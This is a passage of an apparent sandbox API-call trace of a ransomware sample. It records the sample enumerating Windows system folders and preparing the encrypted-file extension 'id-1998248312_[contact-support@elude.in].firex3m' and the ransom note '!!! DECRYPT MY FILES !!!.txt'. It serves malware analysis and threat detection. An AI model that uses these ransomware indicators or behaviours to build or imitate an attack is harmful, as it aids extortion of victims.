nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0115.967] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msadce.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 1 [0115.967] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msadcer.dll") returned 0x36 [0115.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.967] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.967] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.967] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0115.967] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msadcer.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned 1 [0115.967] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msadco.dll") returned 0x35 [0115.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.967] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.967] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.968] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.968] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0115.968] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msadco.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned 1 [0115.968] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msadcor.dll") returned 0x36 [0115.968] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.968] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.968] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.968] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.968] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0115.968] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msadcor.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned 1 [0115.968] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll", cchLength=0x35 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msadds.dll") returned 0x35 [0115.968] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.969] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.969] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.969] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0115.969] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msadds.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned 1 [0115.969] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msaddsr.dll") returned 0x36 [0115.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.969] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.969] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.969] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0115.969] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msaddsr.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 1 [0115.970] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msdaprsr.dll") returned 0x37 [0115.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.970] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.970] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.970] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0115.970] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msdaprsr.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned 1 [0115.970] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msdaprst.dll") returned 0x37 [0115.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.970] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.970] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.971] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0115.971] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msdaprst.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned 1 [0115.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msdarem.dll") returned 0x36 [0115.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.971] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.971] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.971] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0115.971] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msdarem.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned 1 [0115.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msdaremr.dll") returned 0x37 [0115.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.972] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.972] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.972] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0115.972] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\system\\msadc\\msdaremr.dll", psz="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned 1 [0115.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\system\\msadc\\msdfmap.dll") returned 0x36 [0115.972] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.972] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.972] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.972] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.972] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.972] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0115.973] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0115.973] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\", len=0x2c | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned 1 [0115.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\system\\ole db\\") returned 0x2c [0115.973] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.973] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0115.974] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.974] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.975] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", len=0x32 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned 1 [0115.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\") returned 0x32 [0115.975] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.975] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0115.975] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.975] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0115.975] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui", len=0x42 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned 1 [0115.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui") returned 0x42 [0115.975] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.975] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.976] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.976] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.976] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0115.976] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui", psz="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui", len=0x42 | out: 